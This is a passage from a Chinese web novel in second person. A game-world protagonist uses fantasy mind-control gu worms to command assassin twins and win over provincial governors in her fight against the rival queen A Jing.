你跟在他后面,他站起身,你才发现自己比他高了一截。 视线移到其他地方,有只类似苍蝇的小飞虫落在墙壁上。你每走几步,它便起来飞一阵,始终追随在你身侧。 你没想太多,苍蝇这种生物本来就和男人差不多,都一样黏人到烦人。 但封南子却徒手将飞虫捏住,你听到清脆的一声,虫子死在他手里,冒出乳白色的浆。 不远处,传来荀左或荀右的惨叫,然后是一声幽怨的“师父”。 封南子向你解释:“这虫叫耳目,是影门的蛊。与寻常蛊不同,放出去不必寄生,但人想要用它,需要把蛊母种进耳朵。一旦‘耳目’被毁,使用者会受到反噬。” 哇。 “封师父,这世上有神鬼吗?” “要是有,你觉得那些人怎么敢动身为‘龙女’的你?” “那这种东西哪来的?” “不知,等我死了去问问先祖。” “……” 蛊房中,入目是各种扭曲的虫子,在瓶瓶罐罐里蠕动,光是看着,你就感到头皮发麻。 封南子在架子前翻找,找到一瓶加了盖子的,转身走出来。 “这就是能操控人心的蛊吗?” “这是饲料,你要的蛊我需要时间另养。” “多久?” “十年。” “……那我不要了。” “开个玩笑。是这蛊能用十年,十年以后自己就死了,你要另想办法。它叫追心蛊,也就是传闻里最常出现的情蛊。” “有没有不带感情的?如果部下都爱我,我很困扰。” 他笑了声:“蛊虫在你手里,自然想怎么用就怎么用,想让他们恨你都行。” “要是作用的人不想恨呢?” “违背你的意愿,就七窍流血而死。” 封南子走到了尽头的另一个房间,一脚迈进去,他停顿片刻:“我只能给你二十只,够用了吧,中原一共才十四州。” “够用,多谢封师父。” 他道:“还有一件事。” “请讲。” “你和小左小右什么关系?哪一个是你的情郎,还是都是?” 你道:“过去不重要,以后我们是朋友。” 封南子大方道:“姑娘,不管是朋友还是眷侣,他俩送你了。心中有牵挂的人,不适合在影门。” “也好。” 他给你一个盒子:“这是控制他们的蛊虫,你喂一滴血,他们以后都为你所用。” “这也是追心蛊吗?” “这不是,我不给孩子下那种蛊。这是牛马蛊,不管服不服你,得到命令,就要听话做事的。” “这蛊也不错。” “不适合你,这蛊在命令结束之后不受控,不然你也不会知道蛊的事,近不了他们的身。总之送你了。” 门在眼前关上,他没有让你在外面等,你也不知道养追心蛊需要多长时间,便原路返回。 走出拐角,被人捞了一把,堵到墙上。 你盯了那张脸片刻,选择看名牌认人。 “荀右,有事吗?” “你跟我哥和我师父都说什么了?” “你不在场?” 他咬牙:“你说呢?” “不好意思,没留意到。” “……”他更生气了。 你推开他,让他让让。 “做什么?” “要紧的事。” 你关了痛觉,拔开荀右随身的剑,指尖在上面轻划一条。血迹把伤口描红,涌出一颗圆润的血滴。 “喂!”他要攥你的手,你依旧躲开,拿出封南子给你的盒子。盒盖挪开,血淋到里面一动不动的虫子身上。 “这什么?” “是蛊虫。” “我知道,我师父给你的?你要用来对付谁?” “你们的,牛马蛊,你师父把你们送给我了。” “那是什么蛊?你受骗了吧。” 把盒子关上,你揣到随身的荷包里。 对他道:“现在,去倒立给我看。” “我发现你很喜欢做梦。” 他是倒立着说这句话的。 意识到自己在做什么,他愣住。 “……来真的?” “正回来。” 命令下达,他翻身一跃,轻盈地站稳在你面前。 “转圈。” “追你的马尾辫。” “跳。” 他一脸恼火:“阿棘!你适可而止!我要生气了!我是狗吗?” “停。” 才停下,他便朝你冲来,动作快得有残影,目标是那个盒子。 你挡住他的手,“蹲下。” “向后转。” “说你的感想。” 荀右吼出声:“师父!我恨你!” “你说是趱行蛊!” “为什么叫牛马!” “你把我送人了!我恨你!” 第136章 十日后, 封南子将追心蛊养好送你。 “蛊母留血,和趱行蛊一般。” “嗯。” “滴完了?放这,我做成了项链, 你随身戴着, 不要告诉第三个人它的用处, 免遭祸事。” 你应声,将特殊处理过的绳链系在颈部, 从他手里接过满满一盒的蛊虫。木盖之下,本以为装着粘软蠕动的虫子们,结果是一粒粒指甲大小的圆丸, 横十纵二, 摆得规整。 “用法就是喂给你想喂的人,外皮的糖霜只有人唾液能融化, 进了嘴,虫子会从喉咙爬进身体, 钻到心脏的地方打窝,所以叫追心蛊。有了追心,你想他们如何,就如何。” “多谢。” “不是白给你的, 谢什么, 这不是好习惯。你说了, 荆王许给我们影门的条件,你会给同样的。” “封师父这么相信我?” 封南子微笑:“蛊母有两只, 另一只在我手上。” 你看着他。 “不必担心, 我做生意一向守信。比起坏你的好事,我更想拿到你给出的利益,而且也好奇你当了皇帝, 天下会变成什么样子。” 他用铜盆洗了洗手:“小左小右是我养大的孩子,你别负了他们。他们要是死了,我这个师父要为他们报仇的。” * 当天下午,你们启程去往连枝郡。 双子二人脸色都阴沉沉,像是那场大雨还有剩,没在他们身上下干净。 步行太慢,至少要走好几个月,你打算购置几匹马。 荀左道:“骑马赶不上我们的脚程。” “你之前还让人背着走,不装之后,倒是会自己想办法赶路了。” 荀右在早餐铺子的桌上坐着,托脸看你们讨论,嘴角挂笑。 你道:“是吗?既然你们走得那么快,兄弟两个就代替马来拉车如何?有你们两个在,也许小半月咱们就到连枝了。” 话音落下,荀右的笑在脸上消失。 荀左气到别开身,“买马吧!” 你朝他伸手,他不情不愿地握住你的手,十指相扣牵住。 你疑惑看了他一眼,手抽了出来:“给钱。” 有了马车,车厢里,陈澹生与你各坐一边,非必要不搭话。 荀氏兄弟年纪虽轻,却从业多年,手里有不少积蓄。离开师门,封南子没提钱的事,他们便也没主动交上去。天底下到处都是他们藏钱的地方,不过位置刁钻。 你亲眼看到他们从鱼肚子里豁出钱来。 “要是丢了怎么办?” “丢了就找别的。” 遇到过几次刺杀,都被他们轻松摆平。 有些是陈珣买过来杀陈澹生,有些是专门为你而来。 荀左即将下刀,你叫停。 掰开刺客的嘴,投下去你的第一粒蛊。 “对我忠心。” 听完你的话,刺客鼻子就开始往下流血。须臾的功夫,那人望着你的眼神就变了,是绝对臣服的一种。 “……是。” “谁派你来的?” “浸月君。” 荀右探头望了眼:“旧相好?” 你没理他,问刺客姓名、归属组织。 周文,长安郑太尉的门客。 以后就是你在长安的内应。 “回去告诉柳玄,我被你杀死了。” “可是……乐王殿下,他那人最是谨慎,没有信物不会相信。” “说我把自己烧死了?” “那他也会要骨头。” “说我把自己烧死,火势过大,没法进去找人。之后又下起了雨,骨灰冲得找不到了,你只留下这缕近身相搏时砍下的断发。” 你随手切断一截头发递给周文。 荀左适时道:“我们有骨灰,你要用吗?” 荀右接着他的话:“一瓶子呢,骨灰总看不出是谁的。” 你想了想,决定跟着他们去找成瓶的骨灰。 到了当地望族的祠堂。 荀左道:“之前杀了人摆进来的,” 荀右接:“里面也藏了钱。” 荀左从袖口倒出一枚铁针,打开盖子撅了撅,挑出一串银块。 他拎着银子吹了吹,荀右则是碰着骨灰瓶往地上倒了一部分。 “女人的骨灰要少些。” 此刻在周文眼中,他二人和地狱阎罗没有区别。 他挪了挪,往你身后让几步,不小心踢到陈澹生的轮椅。 下意识看去,陈澹生与他对视,仿佛把轮椅停在这妨碍到周文,是他的错般,他愧疚地道歉,往旁边挪动。 你回手压轮椅的推手:“想溜?” 陈澹生眼神悲伤:“怎会。” 有了骨灰和断发,周文带东西回去交差,走得飞快。 离开前,他忠心耿耿道:“拿了赏金,我会回来交给您的,乐王殿下。” “你费心了。” “是属下应该做的。王上财况窘迫,本就是部下们的失职。” “嗯,好好活下去,别死了。” 二十分之一份的蛊虫,宝贵得很。 周文感动得嘴唇颤了颤,眼睛蓄满了泪,跟他的络腮胡连在一起颇有喜感。 “臣叩谢王上!有殿下这句话,臣就算万死也值得!” 他转身几个飞跃,上了远处的屋檐,眨眼的功夫就不见人影。柳玄从不出险招,看功夫周文是这一行有名的杀手,不过远比不上你身边的这两人。 “你们这么厉害,封师父却如此痛快地把你们送给我,是有别的用意吗?” 荀左道:“再锋利的刀,有了二心就不该放在身边。不如在情况没坏透之前,做个顺水人情,以后还有感情在。” 荀右不赞同:“哪来那么多感情。你以为师父把我们送出门去,实际却是他老人家把阿棘拉入伙。” 你将两人的话都听进去,静默片刻,对上祠堂门口小厮的眼睛。 他一脸震撼,看了看地上的骨灰,和明显缺位的供台,仰天大喊:“作孽啊!快来人!有人在祠堂偷东西!把老祖宗的骨灰给扬了!” 你敛神:“快走。” 双子分工明确,一人托你,一人抬陈澹生的轮椅,从后门狂奔出去。 荀右将陈澹生往马车里一塞,骂了声废物拖累的话,转身勒紧缰绳。 荀左趁没人注意,低头亲了你眉心一口,才把你放进去。 身后十分喧闹。 你听到了小厮哭喊着跟家主交代:“有一二三、四个人!!两个长得一样,一个女的,还有一个残废!” 紧跟着,那家主也哭喊:“太爷爷!您泉下有灵!一定要让那些扰您安息的恶人没好报啊!太爷爷……” 马车渐行渐远,与闹剧隔开。 你掀开帘子:“他家祖宗的骨灰呢?” 荀右哼笑:“上边摆着呢,自己不识数,一群傻子。” 你坐回马车。 本打算闭目养神,身旁却传来时断时续的啜泣声,是陈澹生捧着他被擦伤的手在哭。 你睁眼打量:“没事吧?” 他簌簌落泪:“我不想跟你走了,放我回家。” “你自己答应的。” “我没说过半个好字。” “等我看看。” 你调出虚拟面板,找出【剧情回顾】按钮,翻找游戏记录。 奇迹般的发现,他竟然真的没有说过答应的话。 你皱眉良久:“你怎么做到说话那么严谨的?” 他道:“想要拒绝,却不敢罢了。” 见他还要再装下去,你决定让他吃些苦头,叫荀右。 “有绳子吗?” “干嘛啊?” “陈澹生不想跟咱们走,从现在开始,他是咱们劫过来的囚犯了。把他和轮椅绑在一起,拴在马车下面遛,这才是囚犯的待遇。” 听到要折腾人,他声音立刻轻快起来:“老大,有的!我这就捆!” 陈澹生瞠目结舌,很快将眼泪消化干净。“我好了,阿棘,不过是离家过久,思乡心切罢了。我自然要跟随你身边的,你别这么对我……” 荀右已经拿绳子钻进来,见他跪得那么快,十分不爽地“啧”了声。 “还捆不捆?” “不捆,怕他死了。” “呵呵。” 他臭脸蹲了会儿,不知怎么想的,也凑过来在你眉心轻吻。 陈澹生眼中又有其他泪落下。 “我出去了,你们随意。” 车帘落下,陈澹生语气柔软,却暗中挑拨:“他不是你的狗吗,怎么敢亲你?” 你提醒他:“这个距离,你说的话跟在他耳边说没区别。” 陈澹生老实住嘴,之后都安静得可怕。 过了八天,周文回来把他的赏金给你,附言道:“浸月君果然不信,还是我拿出准备的骨灰,他才点头给钱。天下第一谋士也不过如此,他再这样跳下去,名声搞臭,便没有船给他落足了。” 你正蹲在河边洗手帕擦脸,他殷勤地把帕子从你手里接过,揉搓起来。 “王上岂能做这种粗活,手下人也没个眼力见!以后我在王上身边,脏的累的都我来干!” 接了被他洗净的帕子,你擦了一遍脸,重新递给他。 “你还不能跟在我身边,先留在长安,继续在郑太尉手下做事。需要用你的时候,我会差人去叫。” “哦!也好!” 得了指令,他不再在此处多留,担心行踪被人识破。 临走前,他道:“柳玄那厮病了,说是吐了几天的血,难活。王上不必担心他再从中作梗。” “嗯。” “然后我家夫人马上要生了,还请王上赐名。” “自己想吧,是你们的孩子。” “那王上赐个小字也行。” “如意?” “太好了!我这就回家去!” 又过了半月,你们日夜兼程,终于到了连枝郡。 连枝城门紧闭,你让荀左帮你翻墙进去,一路找到郡守府。 街上的人过着安宁的生活,和你走之前没两样。 郡守府内,有小厮看到你,眼睛一亮,刚想喊人,被荀左一掌劈晕。 堵住了一边,另一边察觉到异动来了人,在他们下手之前,那人先是盯着你,眼眶湿润。 “主上!” “是主上回来了!” “我们府君等来您了!就知道您还活着!快!快随我进去!府君在家呢!他请寸医师来看病!见了您,他一定什么病都好了!” 跑着将你领到内室,请示都没有,直接破门而入:“府君!您看看谁过来了?” 内室之中,凤晋正露着后背,让寸术施针。 闻声两人齐齐转头,认清是你,都是一脸震惊,震惊之后喜悦,喜悦之后,凤晋拿起衣裳挡住前胸。 一把年纪了,没想到还有这种事发生。想尴尬,又有感动,感动之余,自己的羞耻心还在煎熬。 寸术迅速收针,几秒把扎了满背的针拔出,让他穿衣。 迎着荀左荀右玩味的目光,他背着医箱朝你行礼。 “拜见主上,可有伤处?” “没有。” “那臣便退下了。” 凤晋打点好自己,叫来妻儿见你,难受地说了好久的话。 问你的近况,过得苦不苦?心里还想不想得开? “您年轻,东山再起又有何难?依我看,主上万不要把此事放在心上,并非主上有错,错的是那些狼心狗肺的人,那些人不配与主上谋天下!” 你没回应。 荀左和荀右在逗凤将军刚满月的孙女玩。 婴儿在襁褓里脆弱又可爱,这是一条新生的生命,看在眼里,就觉得生活还有继续的希望。 “其实,”凤晋斟酌开口,“早在之前,我就觉得阿荆那人有问题了。” “我来连枝求医,她与寸医师一同赶来,背着您说了很多奇怪的话。话里话外的意思,暗指您并非真心想救我们家,而是为了在联盟中的美名才不得不请医师出来。” 凤晋感慨道:“我当时听了那话,心中也有过怀疑。还是寸医师,他告诉我,他是您放过来的。瘟疫有险,您先问的是他想不想救。” “是不是图名,我不在乎。我只知道,顾及部下性命的人不会是恶人。后来与您相处,更是坚定了我追随您的志向。” “乱世之中人人可死,但死得值不值,全看跟了什么人。” “我这些日子就在后悔,如果当时把阿荆的举动告诉您,是不是您就会有所提防……” “是我误了主上。” 他要朝你跪下。 你扶他,摇头:“不怪你。她做得那样明显,即便不是这一处,我也能感觉到不对劲。” “是我……” 你过于依赖【人物档案】。 早在第一关谢玟那里,你就发现过档案虽不能作假,却能隐瞒。 只要打着另一件事的旗号,私下做她自己的事,你就发现不了她的异状。 你低估了她的聪明程度。她跟在你身边,时时刻刻紧盯你的行动,明明看见了你的未卜先知,却从未过问一句。 她察觉到你有【人物档案】类似的东西。 因为做过预知梦,她对这种超乎寻常的东西接受程度高。 是你轻敌,没把他们放在眼里。 “主上之后有安排吗?” “有。先过了这个冬再说。” 第137章 “咳咳咳……” 室内点着丝丝缕缕升空的香料。 这是荆王殿下的要求, 不论身在何处,她都要闻到这种气味。 橘皮燃烧的香气,是她和阿棘小时候一起闻到过的味道。她们肚子饿, 想偷摘树上的橘子吃, 被主人家抓包。 乱世凋敝, 他们正要搬去太平的地方。 妻子道:“以后我们不回来这边,不如收这两个女孩看家。” 丈夫望着她笑, 随后一把火把院落烧干净。 结了满树果子的橘树烧在火海里,味道就是这样清新而空洞的橘香。 每次闻到,阿荆都会想起当年那段日子。 她曾以为她天生就要吃那种苦。后来做那场梦, 她才明白, 原来一切的苦难都是为了遇见那个人,被他怜惜。 她绝不想再回到一无所有的境况。她想拥有很多东西。 她依然把阿棘当作一生只有一个的重要的朋友。 她不觉得对不起阿棘。虽然她背叛了她, 但是往前数几个朝代,偷盗天下的人少吗? 只要成功了, 坐上那个位置,这条路就是对的,没人敢说她错。 阿棘定然也明白这个道理,她自己也为了荣华富贵杀过她一次。 ……反复想许多, 阿荆还是无法释然, 她心里在意。 之前她是真的想要让阿棘留在她身边。 时间一久, 也许阿棘就不恨了,也许她们能解开心结说说话。哪怕阿棘在暗处做小动作, 只要不影响大局, 她都会睁一只眼,闭一只眼。 可是她走了。 埋伏那么多,怎么走得了的? 她猜出阿棘有别的助益, 和她那场梦一样。但就真的如此神通广大吗? 她是仙人? 若她是,过去多年的她为何是普通人?难道她最近才成仙?既已是仙人,为何拘泥于人皇之位? 和人打交道并不愉快,如果阿荆是神仙,她就去海外的仙岛过一辈子,带着阿棘一起。 阿棘为什么不带着自己? 哦,她带过。 柳玄呈上来的骨灰是阿棘的吗? 阿荆看到了她的头发,但不认为她会那么轻易死去,还是被一个不知名的人杀死。 要阿荆自己杀死她才行。 杀死她,之后再怀念她。 记忆里的阿棘就只剩下与她一起长大的情分了,把她推进江水里的那些事,都可以忽略不计。 “咳咳咳……” 柳玄被香料呛得直咳嗽。 阿荆就没见过这样瘦的人,看上去似乎已经是强弩之末。 “人是你派去杀的,你又伤心成这样,我真搞不懂你们男人。” 柳玄没有回应。 “你就不觉得她还活着吗?”阿荆摆弄手上的翡绿珠串,斜靠在椅子上,“我不信她就那么死了,那可是能从一万大军追杀里逃走的人。” 柳玄道:“周文从不说谎。” 他说起今天来的正事:“龟将军不战而降,可能有诈。” 阿荆道:“他就是为让你们这种聪明人觉得有诈,才弄这么一出。此人阳寿已尽,快死了,不日便有牛头马面收他的尸。” “殿下便如此笃定吗?” “他死在四十一岁。” “他今岁已四十有二。” 阿荆带笑的脸忽然冷凝。 距长安千里之外的连枝。 冬,远处的山上盖了一层厚雪,天地之间白茫一片。 你出门透气,走了一个时辰,歇在不知谁家的门边。 三四个小孩在附近,用树枝在雪上写字画画。童言童语,听着十分可爱,你看了很久。 “这个是我娘,这个是我家咪咪。” “你画得好丑啊。” 小女孩发现你,推了推在地上画画的男孩:“哥哥,那有个人。” 男孩回头望你一眼:“姐姐好。” 你于是光明正大地加入他们,与孩子们蹲在一起,拿手指在雪面上画些简单图案。 “姐姐你画得真好。” “这是我的专业。” “是很厉害的意思吗?” “还好。”你保持谦虚。 你们全神贯注地投入画画。虽然小孩子画的型不准,但总有些天然的灵气,看着就让人心里宁静。 画满了一片,就挪去另一个地方。很快一整条街的白雪上都是你们的画。 十字交叉的路口,只有这条街上安静得过分。 你问:“这怎么没人?” 男孩道:“都打仗去了。” 小女孩道:“都死在战场上了,家就空着,我爹娘也是。” 另一个女孩哄道:“你爹娘没死的。” “死就死了,没什么大不了,我知道,谁都会死的。” 你喉咙堵了一下,没出声。 小女孩画完一条小鱼,挪了挪,肩膀贴住你:“姐姐,我每天早上都能听到呵哈声,是郡守在练兵吗?我听说他要为乐王殿下报仇。” “……是在练兵。” 她眨了眨清澈溜圆的眼睛:“又要打仗了吗?” “为什么要打仗啊,不打不行吗?轩哥,宁姐,他们的爹娘都在战场上死了。” “明明想打仗的不是他们,打赢了,天下也不是他们的。可为什么没命的是他们……” 有风拂过,吹夹着薄薄的雪。你眼睛发酸,眨了眨,“我记错了,这次没说打仗。” “可是在练兵哎。” “大家在锻炼身体呢,身体健康才能活得久。” 男孩道:“一定要打仗的。被偷走的城池还没有抢回来。” 你将下巴抵在膝盖上:“那些一个人做就可以。” 春,三月。 你准备衣服与轻甲,绑在小臂、上身与膝盖处。 凤晋唉声叹气在屋里打转。走得腻了,背着手到你面前:“主上,当真一个人都不带?” “不带,我自己去。” “会死的,会出人命的!现在荆王是天下之主,势头最盛的时候!要是泄露风声,她知道您没死,指不定要与柳玄他们布置什么陷阱等您!” “无事,打不过我就逃。” “至少把荀大人他们带着吧!” “不带。”你拔剑出鞘,用指腹检查锋利程度,“他们不适合群攻,死了,我有麻烦。” “可是……” 你拍拍他的肩膀:“连枝交给你,看好它。” 意识到你不会更改主意,凤晋只能妥协。他还是争取了下:“我的侄子年方十六,比荀大人们小不了多少,主上不如收进房里,路上带在身边,也好有个人照顾。” 你答应下来:“送进王府先养着,等我得胜归来再收。路上带人是拖累。” 凤晋坚持劝道:“好歹关键时候能挡一击。” “不必,是凤老你的侄子,我还是看重的。” 听到你这句话,他心里发出些暖意,愁容犹在。 最后叮嘱你一句:“打不过,一定要跑。” “知道。” 天下十四州,十二州进了阿荆手里。 剩下那两个难打,远在北境,多异族,她暂时没动。一月之后是她在长安登基的日子。 你决定提前送她大礼。 【水中州】、【柭州】、【渭州】、【雍良州】、【中州】。 就近潜入州牧府中,喂下追心蛊。 在阿荆登基前十五日,约定好的日期,几个州郡纷纷挂上了乐王的旗帜。 预留的那些日子,是为让阿荆的人能及时把情报传回长安。 你没有停下脚步。 【怀州】、【江水州】、【荆州】、【南州】、【云州】。 喂下蛊虫,命令忠心。 不乏有人七窍流血而死,蛊虫从鼻孔里爬出来。你忍着恶心用纸包好,接着喂给他的继承人。 得知你的存在,阿荆依然登基了。天下改朝换代,叫知镜国,年号木一,如今是木一元年。 登基之后,她下令不许男人有三妻四妾,过去有的人可交钱免罚,没有欠着,之后再有立妾便判死罪。妻子死了男子再娶死罪。买卖奴隶死罪。强抢民女死罪。以权谋私流放罪…… 很多听起来顺耳的律令。 感觉得到她思考了很多东西,有想真正做的事。 入秋,阿荆募兵,明面上反知镜国的五州陷进战火。另外五州暗中相助,没有你的命令,它们不敢表明立场。 你停留过一段时间,担心下蛊的州牧被打死,但很快发现,死的永远不是他们。 于是你加快进度,不希望被你报以期许的天下变得千疮百孔。 将北部两州也收入囊中,紧接着只剩下长安与附近两州。 天下马上就要被你一个人统一了。 一个人。 通关以后,你要在论坛的帖子里把这段经历写进去。 只要敢想,人什么都做得到。 时令进入深冬。有事做时,时间过得特别快。 【贺州】 你照例潜入州牧府。一回生二回熟,达官贵人的府邸都讲究风水,布局相似,连续走下来,你甚至能自己找到茅房的位置。 贴着墙壁,转身跃入室内,贺州牧背对着你在软榻上喝酒。 你拔剑疾步走近,余光发觉异动,侧身躲开。 剑与剑相对,发出疾速嗡鸣的响声。烛光中,你看清了与你对打之人的脸。 何余。 他也认出了你是谁,高声发笑:“主上!你果然还活着!” 你回答他:“是啊,活着准备登基呢。” “你用了什么手段让那些人听命于你,不会又是下药吧?” “猜对了。” 之后再对,他便有所顾忌。 你对他笑:“别怕。” 剑势汹涌,打出了许多人的影子。第二关的宁师父、赵晞,这一关的陈珣、荀氏兄弟。 他们的杀招你都学过,勤于练习后,已经能不过脑打出。你希望游戏之外也是这样。 “因为我不会给背叛我的人下药,你们不值。” 何余脸色黑下来:“背叛!动辄半年找不见人影的不是你吗?” “我出去赚钱有错吗?你们能搞来钱吗?” “自古以来哪个君王会做成这样!没有钱,慢些如何?乱世里百姓穷得要死!总得给喘口气的机会吧!何况有了钱又能如何,弟兄们会打仗吗?你才当了多久寨主,就想跟那些诸侯分一杯羹,不是让我们所有人跟你送死?!” 你横劈,他顶挡。 有些火气上来:“羹我分到了!哪次有过败仗?” 何余吼:“谁知道输的是不是下一场!你让人拿命跟你赌天机吗?你以为你真是龙,做什么都有神仙相助吗?障眼法做得精又如何,我看脑子要用坏了!” “我从没让人陪我一起赌过!我的选择都是正确的!” “只是还没到输的时候!早晚会有那一……” 他的剑碎了,红着眼愣了下,踹倒屏风挡你,去他替身那边,不顾仆人惶恐拔随身佩刀。 何余攻势变猛,但你知道,这是他最后的力气。 “你是从没让别人陪你一起赌过!全是我们一厢情愿!你游戏人间,把天下看作你的玩物,如果做皇帝无需臣民,你早就从我们身边离开,把我们都甩掉!这样的你岂能当皇帝?” “为什么不能?皇帝是印章吗?印出来的都是一个样子?你以为你是谁?你凭什么替我做决定?我倒希望你是被高官厚禄吸引,而不是在这对我说些冠冕堂皇的话!让曾经任用你的我感到丢脸!” 你捅死了他。 血将流尽时,他道声对不住,手搭去桌角。 以为他是悔改了,没想到桌角是一处机关。很快有箭喷射出来,你匆匆逃出去,与州牧府中的布军相对。 他提前有准备。 已经有人发现是你在背后行事。 正常。到了现在还反应不过来才有问题。 你拎着带血的剑,利用读档功能逃走。 等城中新州牧上任,你又一次夜潜,将追心蛊喂进去。 自此,贺州也是你的。 何余死前说的不错,已经输过一次,你还是独身一人在外杳无音讯地做事。 你暂时停下来,吩咐手下不要打草惊蛇,一路往回走。 被你收服的州郡,因为州牧是你的人,他们的手下也对你十分恭敬。 另年夏天,你走回了连枝。 除去季节更迭,城中还是你走前的样子。 第一个遇见在巷子里治病的寸术,这次他见你没有多余的表情,只问是否受伤。 对于拥有读档功能、可以随时改变不利局势的你来说,神医在身边并没有多大用处。 “陈澹生求医治腿,我要救吗?” “还不是时候。” “嗯。” 同走一段路,你忍不住道:“为什么我和之前一样,走了很久,没有音讯,这里的人却都没变?” 寸术道:“你该听郡守的劝解,是你之前遇错了人。” 你默了默:“有些话,他们说的并没错。” 寸术道:“什么是错?两个守礼的好人亦可结仇,性子不合罢了。何况他们并不是好人,如果是好人,就不会背叛你。” 你觉得他说话是这些人里最好听的,给人一种公平的感觉,还很顺耳。 你问:“我们之前见过,你记得吗?” 有蝴蝶落在他的手上,他撑了会儿,将蝴蝶放飞:“记得。” 你提醒他:“是镇北王之死。” “我说了记得。” “这是你没被阿荆拐走的理由?她杀死了你上一任殿下。” “若是为此,我一开始就不会救她。聚在一起做一件事,散了就是散了。” 你好奇:“那是为了什么?” 寸术道:“一些原因。” “能说说吗?” “也可。” “洗耳恭听。” 他道:“因为你更好。” “除了敬意,我对你还有男女之情。” 第138章 “呃, 多谢。” 他“嗯”了声,仿佛只是说了一句稀松平常的话。与你同行到郡守府,行礼过后返回家去。 你去见了凤晋一面。这个年纪的人老得很快, 一年多没见到, 白头发就占了大半。 问候他几句, 得知一些连枝郡的事。近来有许多搬到连枝躲难的百姓,之前闲置的田地重新分了出去, 空房子住进新的人。 回到王府歇脚,你准备明日再出发,速战速决。 却在进门时遇见了凤晋的大侄子。他端着饭碗出来透气, 见到你, 尴尬一笑,转身走了回去, 用脚将门带上。 不一会儿,你的房间也传上饭来。大侄子忐忑为你布菜, 不知你的喜好,他叫的全是本地名菜。 你道了声谢。吃过饭以后,洗漱休息,回到床榻发现大侄子躺在被子里面, 正紧张得喘不过气。 “主上……” “往里挪挪。” “哦……” 你躺到床上, 把被子全拽过来。“自己再找一床。” “没事……我不冷……” “我不会碰你, 收你收的是凤老的人情。” “嗯!” “我在外面做事,你在家随意。” “好!” “还有别的问题吗?” 他想了想, “主上是骑马回来的吗?” “骑过, 后来换了车,再后来用腿走。” 大侄子就坐起来,手放在你的腿上:“我给你揉揉。” 你抽腿, 蹬在他身上,往后一踹。 “睡觉。” “……好。” 第二天,大侄子听说你要走,主动帮你收拾行李。 你躺在床上醒神,看他在屋里翻翻找找,打点出几大包衣服和用品。 “殿下,主上,你穿紫裙子时用这把剑,别忘了。” “……” 见你不语,他手中动作停下,眼神怯怯:“我做错事了吗?” “没。你随意。” 他对你笑了笑,继续整理。你出去洗漱,碰到了在窗口看花的陈澹生。 他容颜没变,还是柔弱无辜的姿态,只是眼神里的焦躁越来越藏不住。他跟你回来,便沦落到软禁的境地。不是不可以忍,能治好腿怎样都行。但到这里将近两年,他还是个残废。 夜里做梦,梦见寸术为他诊治,说坏腿太久,已经治不好了。 治不好,不如死了。 你跟他挥手:“再等等,半年之内治你的腿。” “……” “主上。”侍女行礼,“今日便出行吗?” “嗯。” “不再多留几日?” “这有凤晋,我留下也是闲着,没有意义,不如快点把事做完。” 侍女点头,“主上要保重身体。” “嗯。” “还有,院外的男君该如何安排?” “什么男君?” “各州郡陆续送来的贺礼,先前您没回来,不知怎么处置。荀大人们也都不在家。” 你道:“查查底细,没问题就收着,都是人情。” 你去王府马厩里看马,挑了匹高大健壮的,坐在马背上试探它的喜好。 侍女夸赞:“主上骑马的样子真好看。” “多谢。” 外面运马粮的人叫了声“寸医师”。 “刘工在棚子里,快去给他看看吧。” “嗯。” 你摸了摸马的鬃毛,想到昨日的表白,主动离开这个地方。 却在离开郡守府时再次遇见。 寸术朝你行礼,问:“主上可是在躲我?” “有点。” “不必如此,我只是坦白心意,并非奢求任何。” “我最近没空想这些。” “明白。” 你翻身上马,准备离开。 “喂!”一道声音隔段距离传来。 你侧头望去,只见荀左肩上扛着一人,几步飞跃到你面前。 荀右则高立在树上,远远俯视你们这边。 你以为这次回来见不到他们。 荀左说,他们这段时间在战场帮忙。听说你回来连枝,打算见你一面,顺手虏来一位对方的猛将。 “我没下让你们帮忙的命令。” “我们自己想去。”他将人撂到地上,足尖踩在那人的脊背,骄傲微笑。 “看这是谁?” 拆礼物一样,他们盯着你的神情。 你很平静地垂着视线,打量快要看不出相貌的陈珣。他脸上糊的都是血,不知是受伤还是别人的。 “如何?” 你道:“这个人,我本想自己打回来。” 陈珣的眼皮动了动,压在身下的手掌缓缓攥成拳。他不受控制地喘着多出少进的粗气,呼吸将脸下的尘土吹得飞动。 荀右使了轻功几步蹿过来,不满地盯你:“不夸我们?他可难打,卑鄙无耻,想抓他杀了不少人,我的剑都砍豁了。” 你两手分别拍他们的肩膀:“我态度在这,你们自己想象想听的话吧。” “……” “……” “再把他扛起来,跟我走。” 你望向寸术:“寸医师有空吗?” 寸术旁观许久,往上背了背医箱,淡声道:“药带的不全,只有救人的。” 荀左勾起嘴角:“毒药我们有啊。” 荀右一摆手,变戏法般,单手的指缝间夹满瓷瓶。 “主上想要什么效果的?” 你思考了下,发挥想象:“有没有让伤无法痊愈的药?” 荀左道:“有,不用毒,直接去马厩。” 荀右道:“捡几块粪,涂他伤处,不信他能好。” 你沉默一下:“还是用药吧。” 只剩微弱气息撑着的人,想要抬头看你,被荀左一把捏住脖颈。他手背上的掌骨凸起,可见用力之大。 他笑问:“你还心疼?这可不是什么磊落的人,你到底留恋他什么?” 荀右瞥他哥一眼,转看向你。 你道:“不是心疼,主要是用马粪太臭了,你去涂吗?” 两人纷纷老实。 “而且,我之后还要带他那个一天比一天健康的弟弟去看他。” 太脏观感就降低了。 荀右道:“主上,我这有慢慢死,慢快死,快快死的毒方,你想选哪种?” “慢慢死吧,好日子过得多了,总得让他尝尝坏日子的滋味。” 你告诉寸术:“可以救陈澹生了。” 侍女将马牵回马厩。离开的日子被你延后十天。 “十天有把握医好陈澹生的腿吗?” 寸术点了一盏烛台燎他的针:“有把握。” 带着人回到王府,迎面遇见几个吵架的陌生男人。声量很高,似乎在抢一套衣裳。 蓝衣说衣裳是他的,他来的那天就穿过。红衣说衣裳是他花重金赶制出来的,留着见乐王殿下一直没穿。 荀左、荀右与寸术都看向你。 大侄子拿了一身他自己的衣服出来,愁眉苦脸地两边劝和:“别吵了,别吵了,你们谁低下头,我这身新衣服给你们!” 异口同声:“滚啊!” 热闹看得够了,侍女觑着你的脸色,用力咳声。 “主上回来了!还不体面些!” 吵架的蓝衣与红衣被这一声定住般,良久,握着手变成了谦和有礼的好兄弟。 “梦知兄,方才是我心急,这白衫上绣了翠竹,一看就是你这般的人物爱穿的。你这样喜欢,我们都是殿下的人,送你又有何妨?” “哎哎,玉明弟,你太客气了。我也想到你我都是殿下的人,便是看中我的旧衣又有何妨?送你了,送你了!” “我才是送你呢!” “我才是!” 推来推去,牙关又紧咬起来,脖颈上爆出青筋。 衣裳不小心落地,他二人才算结束。如梦初醒般看向你,默契地后退两步,微笑。 